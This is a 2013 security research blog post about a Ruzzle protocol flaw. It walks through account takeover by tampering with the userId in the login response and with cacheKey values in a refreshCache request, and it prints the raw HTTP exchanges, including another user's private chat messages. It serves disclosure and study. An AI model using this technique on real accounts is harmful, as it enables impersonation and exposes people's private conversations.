21 March, 2013

Abusing Ruzzle protocol, privacy violation and more...

Ruzzle pwn

As we promised, we are back with something interesting:)

In the beginning of January 2013 we started a security research project focused on some of the most spreaded mobile applications and considering how popular Ruzzle became in the last months we could not take the app out from our targets. Hereafter we will discuss the results of our research about Ruzzle and the details of our finding, classifiable as a privacy violation issue.

When our team started analyzing the protocol behind Ruzzle they realized that every json response in session could be arbitrarily tampered without any server side check about what the application exchanged with the server. This kind of weakness is widely exploited in web application context to gain more privileges or to impersonate a different user within an authenticated session. The goal of our research was to obtain access as a different user (following we will refer to him as the victim) without authentication and perform actions as the victim. Ruzzle application protocol implements a chat feature that users can use to exchange messages with challenging friends. Results of our tests showed that a malicious user can obtain the full control over the victim's account, having access to the whole list of played games, current games, possibility to challenge other victim's friends and the most critical access to private messages exchanged with other users through the internal chat feature and the possibility to chat with those users as the victim.

A practical demonstration of the issue is described below:

Opening Ruzzle on a mobile device, the app perform the login process through a request using a classic HTTP POST method:

POST /api/user/login HTTP/1.1
Host: davincigameserver.appspot.com
Proxy-Connection: keep-alive
Accept-Encoding: gzip, deflate
Content-Type: application/json; charset=UTF-8
Content-Length: 222
Accept-Language: en-us
Accept: */*
Connection: keep-alive
User-Agent: Ruzzle/1.4.7 CFNetwork/609.1.4 Darwin/13.0.0

{"user":"userId":-1,"password":"51452b9113ac704754f6878544d938c8b2f4edd3", "useFacebookImage":"false","avatarId":0,"deviceId":"18:9E:BF:41:DD:65", "username":"******"},"locale":"en_US","version":"1.4.7","premium":"false"}

the POST above is the request originated by the client, containing the right parameters submitted through the application (in our case the login process is performed through the integration with the Facebook authentication). Here things become interesting! Intercepting and tampering the json response to this request, is enough to perform the trick, changing the value of the userId parameter indeed is the first step to get the full control over the victim's account.

HTTP/1.1 200 OK
Content-Type: application/json
Date: Wed, 02 Jan 2013 08:37:33 GMT
Server: Google Frontend
Cache-Control: private
Content-Length: 257

{"applications":["1","4"],"avatarId":"0","facebookId":"*********","locale":"en_US","matchesPlayed":"0", "premium":"false","ranking":"0","session":"628CC4D9743CE8557FDD3D2D175AFFD5920642B3", "useFacebookImage":"true","userId":"*********","username":"*****"}

*To obtain the value of a userId is enough to intercept the regular traffic generated by Ruzzle while challenging the choosen victim.

We proceeded in tampering the value of the userId parameter with the one assigned to our victim:

{"applications":["1","4"],"avatarId":"0","facebookId":"*********","locale":"en_US","matchesPlayed":"0", "premium":"false","ranking":"0","session":"628CC4D9743CE8557FDD3D2D175AFFD5920642B3", "useFacebookImage":"true","userId":"tamperedId","username":"*****"}

Once done this, the last step is to tamper few other parameters inside of the refreshCache POST. The parameters that need to be tampered are the following cacheKey values:

  • listRequests_NNNNNNNNN
  • listInvites_NNNNNNNNN
  • listActiveGames_NNNNNNNNN
  • list_FinishedGames_NNNNNNNNN

The NNNNNNNNN represent the userId that in the POST originated by Ruzzle contains the legitimate value of the userId cached by the app. Submitting these cacheKey values tampered with the victim's userId in the numeric part after the underscore is the final step. The json response to this POST indeed loads into the Ruzzle app all data about the victim's account as briefly reported under.

HTTP/1.1 200 OK
Content-Type: application/json
Date: Wed, 13 Mar 2013 11:39:05 GMT
Server: Google Frontend
Cache-Control: private
Content-Length: 44369

[…]

{"gameId":"3553712971150881448","persistedRound":"false","player1Done":"false","player1Score":"0", "player2Done":"false","player2Score":"0","round":"1","seed1":"1525374704","seed2":"816673570","seed3": "494846459"},{"gameId":"3553712971150881448","persistedRound":"false","player1Done":"false", "player1Score":"0","player2Done":"false","player2Score":"0","round":"2","seed1":"1159880445","seed2": "281586875","seed3":"645812112"}],"state":"1","type":"0"},{"userId":"0","cacheKey":"readGame_3100519240091618999","cacheTimestamp":"1363174744785", "chatConversation":{"userId":"0","conversationId":"1032368976","lastUpdated":"1363164721741", "messages":[{"message":"This is a private conversation","read":"true","sender":"*********","timeSent": "1363162097326"},{"message":"Are you sure? ","read":"true","sender":"*********","timeSent": "1363162140730"}]

[…]

At this point the Ruzzle client on the mobile device shows the victim's account, including the full history of current and finished games and for each of them is possible to access to detail page and to private messages exchanging/exchanged.

Comments

Tom21 March, 2013Interesting ;-) ...some social engineering and the chat feature may turn extremely useful.

New comment